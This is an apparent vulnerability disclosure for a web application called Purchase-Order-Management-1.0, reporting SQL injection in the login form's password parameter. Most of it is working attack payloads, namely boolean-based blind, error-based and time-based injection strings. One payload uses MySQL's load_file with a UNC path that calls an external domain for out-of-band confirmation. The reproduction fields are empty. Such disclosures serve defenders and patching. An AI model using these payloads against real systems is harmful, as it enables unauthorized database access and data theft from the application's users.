Purchase-Order-Management-1.0 - SQLi
Vendor
Description:
The password parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select load_file('\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\aej'))+' was submitted in the password parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.
STATUS: HIGH Vulnerability - CRITICAL
[+]Payload:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=pwKLHXbY&password=-4290') OR 6172=6172 AND ('XovE'='XovE
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'') OR (SELECT 8766 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT (ELT(8766=8766,1))),0x7162767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('dncG'='dncG
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'') AND (SELECT 7405 FROM (SELECT(SLEEP(3)))pVNf) AND ('fltf'='fltf
---
Reproduce:
Proof and Exploit:
Time spend:
00:35:00
